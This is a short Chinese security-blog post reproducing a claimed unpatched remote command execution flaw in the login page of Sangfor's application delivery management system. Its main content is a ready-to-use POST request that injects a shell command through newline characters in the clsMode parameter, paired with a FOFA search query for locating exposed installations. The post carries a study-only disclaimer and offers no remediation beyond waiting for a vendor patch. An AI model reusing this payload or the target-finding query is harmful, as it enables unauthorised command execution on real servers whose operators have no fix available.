2023 HW 某信服 0day 应用交付管理系统 login 存在远程命令执行漏洞复现以及POC

0x00 团队声明

该漏洞为我团队漏洞监测平台发现，仅供学习参考使用，请勿用作违法用途，否则后果自负。

0x01 漏洞概述

漏洞编号：无

某信服 应用交付管理系统 login 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令，2023年HW漏洞复现。

0x02 影响版本

深信服 应用交付管理系统 7.0.8-7.0.8R5

0x03 漏洞复现

FOFA语法：fid="iaytNA57019/kADk8Nev7g=="

验证POC

POST /rep/login
clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

0x04 整改意见

①等官方升级。目前尚属于0day

0x05 关注我们

0x06 推荐书籍

#常按或扫码购书#

原文始发于微信公众号（小白嘿课）：2023 HW 某信服 0day 应用交付管理系统 login 存在远程命令执行漏洞复现以及POC